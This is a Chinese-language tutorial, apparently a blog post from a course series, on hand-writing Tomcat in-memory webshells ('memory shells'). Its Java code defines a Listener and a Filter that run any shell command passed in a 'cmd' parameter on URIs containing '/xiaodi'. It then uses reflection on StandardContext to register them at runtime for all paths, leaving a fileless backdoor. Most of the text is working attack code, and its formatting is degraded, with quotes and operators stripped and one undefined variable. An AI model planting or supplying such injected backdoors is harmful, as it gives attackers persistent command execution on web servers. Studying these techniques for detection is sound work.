JAVA攻防-内存马技术手搓代码调试反射Tomcat中间件Listen监听器Filter过滤器

📅 发布时间:2026/7/11 5:57:10 👁️ 浏览次数:
JAVA攻防-内存马技术手搓代码调试反射Tomcat中间件Listen监听器Filter过滤器
知识点Java攻防-内存马技术-手搓代码TomcatListenFilter演示案例-Java攻防-内存马技术-手搓代码TomcatListenFilter安装tomcat的依赖包方便IDA进行调试。pom.xml dependency groupIdorg.apache.tomcat/groupId artifactIdtomcat-catalina/artifactId version9.0.68/version /dependency手搓Tomcat-Listen内存马web.xml加入配置listenerlistener-classorg.example.testlisten.TestListen/listener-class/listener1、监听器使用public class TestListen implements ServletRequestListener{Override public void requestInitialized(ServletRequestEvent sre){System.out.println(requestInitialized);HttpServletRequest servletRequest(HttpServletRequest)sre.getServletRequest();String requestURIservletRequest.getRequestURI();if(requestURI.contains(/xiaodi)){String cmdservletRequest.getParameter(cmd);try{Runtime.getRuntime().exec(cmd);}catch(IOException e){throw new RuntimeException(e);}}ServletRequestListener.super.requestInitialized(sre);}Listen内存马的原理就是在原来的项目基础上通过反射技术植入一个新的监听器而这个新的监听器的默认方法下就包含了危险代码。2、断点调试分析StandardContext#contextApplicationContext#contextServletContext#request.getServletContext3、反射调用内存马相当于添加一个Listen 获取Servlet上下文也就是ServletContext ServletContext servletContextrequest.getServletContext();Field appctxservletContext.getClass().getDeclaredField(context);appctx.setAccessible(true);获取servletContext存储的值并强制转行ApplicationContext类型 ApplicationContext applicationContext(ApplicationContext)appctx.get(servletContext);Field stdctxapplicationContext.getClass().getDeclaredField(context);stdctx.setAccessible(true);获取applicationContext存储的值并强制转行standardContext类型 StandardContext standardContext(StandardContext)field.get(applicationContext);调用standardContext#addApplicationEventListener方法传入监听器TestListen testListennew TestListen();standardContext.addApplicationEventListener(testListen);手搓Tomcat-Filter内存马1、Filter使用web.xml加入配置filterfilter-nameTestFilter/filter-namefilter-classorg.example.testfilter.TestFilter/filter-class/filterfilter-mappingfilter-nameTestFilter/filter-nameurl-pattern/*/url-pattern/filter-mappingpublic class TestFilter implements Filter{Override public void init(FilterConfig filterConfig)throws ServletException{System.out.println(TestFilter init);Filter.super.init(filterConfig);}Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException{System.out.println(TestFilter doFilter);HttpServletRequest request1(HttpServletRequest)request;String requestURIrequest1.getRequestURI();if(requestURI.contains(/xiaodi)){String cmdrequest.getParameter(cmd);try{Runtime.getRuntime().exec(cmd);}catch(IOException e){throw new RuntimeException(e);}}}Override public voiddestroy(){System.out.println(TestFilter destroy);Filter.super.destroy();}}2、断点调试分析filter相关的有三个filterConfigs、filterDefs、filterMaps filterMaps 存放了filter别名和路由 filterDefs 存放了filter类指向和别名 filterConfigs 存放了一些配置信息 filter创建 涉及filter类引用、filter别名、对应路由、绑定路由的filter别名、filter实例 调用filterDef#filterclass、filterDef#filtername、filterMap#urlPattern、filterMap#filterName3、反射调用内存马相当于添加一个Filter调用Servlet中getServletContext方法获取context ServletContext servletContextrequest.getServletContext();反射调用获取ApplicationContext字段context Field appctxservletContext.getClass().getDeclaredField(context);appctx.setAccessible(true);ApplicationContext applicationContext(ApplicationContext)appctx.get(servletContext);反射调用获取StandardContext字段context Field stdctxapplicationContext.getClass().getDeclaredField(context);stdctx.setAccessible(true);StandardContext standardContext(StandardContext)stdctx.get(applicationContext);反射调用获取StandardContext字段filterConfigs Field ConfigsstandardContext.getClass().getDeclaredField(filterConfigs);Configs.setAccessible(true);Map filterConfigs(Map)Configs.get(standardContext);创建FilterDef对象写入filter/fitlerName/filterClass信息 FilterDef filterDefnew FilterDef();filterDef.setFilter(filter);filterDef.setFilterName(name);filterDef.setFilterClass(filter.getClass().getName());standardContext.addFilterDef(filterDef);创建FilterMap对象添加url映射下面是直接拦截所有资源/* FilterMap filterMapnew FilterMap();filterMap.addURLPattern(/*);filterMap.setFilterName(name);filterMap.setDispatcher(DispatcherType.REQUEST.name());standardContext.addFilterMapBefore(filterMap);调用addFilterMapBefore方法将所有东西都放入filterConfig中去 Constructor constructorApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfig filterConfig(ApplicationFilterConfig)constructor.newInstance(standardContext,filterDef);将名称和规则写入存储到filterConfigs filterConfigs.put(name,filterConfig);